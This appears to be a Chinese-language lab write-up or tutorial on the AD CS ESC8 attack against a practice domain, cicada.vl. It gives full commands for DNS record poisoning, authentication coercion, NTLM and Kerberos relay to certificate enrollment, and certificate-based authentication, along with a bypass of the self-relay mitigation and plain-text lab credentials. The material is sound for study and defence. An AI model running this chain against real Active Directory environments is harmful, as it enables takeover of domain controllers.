ESC8
ADCS ESC8 – NTLM Relay to AD CS HTTP Endpoints
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment
1. 利用
根据 @ly4k 在wiki中提到的信息得知要利用此漏洞需要满足下面的条件:
1.ADCS WEB服务需要满足以下条件:
- 允许NTLM身份认证: 托管证书认证的web服务器支持NTLM身份认证(默认允许)
- 未强制开启NTLM Relay中继保护:如扩展身份验证保护 (EPA) 也叫通道绑定
2.利用步骤:
- 强制身份验证: 强制特权帐户使用 NTLM 对被控制的机器进行身份验证(常用域控制器计算机帐户进行强制认证)
- 设置 NTLM 中继: 使用 NTLM 中继工具(例如 Certipy 的
relay命令),监听传入的 NTLM 身份验证。 - 中继身份验证: Certipy 捕获此传入的 NTLM 身份验证,并转发(中继)到 AD CS 的HTTP Web 注册端点(例如,
https://<ca_server>/certsrv/certfnsh.asp) - 模拟并请求证书: AD CS Web 服务从中继的特权帐户接收 NTLM 身份验证后,会以该特权帐户的身份处理来自Certipy 的后续注册请求。然后使用Certipy 请求证书
- 使用证书进行特权访问: CA颁发证书,Certipy 作为中介机构接收此证书。然后使用此证书和
certipy auth通过 Kerberos PKINIT 冒充特权帐户进行身份验证
1.1. Linux
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.86
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
nxc smb DC-JPQ225.cicada.vl -k --use-kcache -M coerce_plus -o L=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA M=PrinterBug
certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.200.138
1.2. Winodws
windows上搭配RemoteKrbRelay 进行Kerberos relay ,但需要注意自中继防护
#kerberos中继获取域控证书
RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
#将base64格式的证书转换为文件
echo -ne "MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqhkiG9w0B..." | base64 -d > cert.p12
#使用证书进行认证
certipy auth -pfx cert.p12 -dc-ip 10.129.200.138 -domain cicada.vl
1.3. 自中继防护
由于windows存在自中继防护机制(Self-Relay Mitigations),使得我们无法在同一台机器上完成此操作
ESC8 与 Kerberos 自中继绕过
1. NTLM 自中继防护 (Self-Relay Mitigation)
在典型的 ESC8 攻击中,若 域控 (DC) 与 证书注册 Web 服务 (AD CS Web Enrollment) 运行在同一台机器上,攻击流程会触发“自中继”:
- 诱导机器 A(DC)向攻击者发起认证。
- 攻击者将凭据转发回机器 A 自身的 Web 接口。
由于微软针对 NTLM 协议引入了自中继防护机制(如 MS08-068),系统会识别并拦截这种同机认证环路,导致中继失败。
2. 解决方案:Kerberos Relay (ESC8 进阶)
近期研究显示,通过 Kerberos 协议 进行中继可以绕过针对 NTLM 的自中继限制。
- 工具: RemoteKrbRelay (由 Cicada8 Research 开发)。它能够中继 Kerberos 认证(如通过 RPCSS)到 Web 接口。
- 前提条件: 该工具需在 Windows 环境下运行,并要求拥有一个合法的域机器/用户上下文。
3. 利用策略:
由于域环境通常允许普通用户将机器加入域(MachineAccountQuota 默认为 10),攻击者可以:
- 使用获取到的域用户凭据(如
rosie.powell),将自己的 Windows 虚拟机加入目标域。 - 在该虚拟机上登录域账号,运行 RemoteKrbRelay
- 诱导 DC 发起认证,通过Kerberos relay 获取 DC 的证书(.pfx/PKCS12),从而实现权限提升。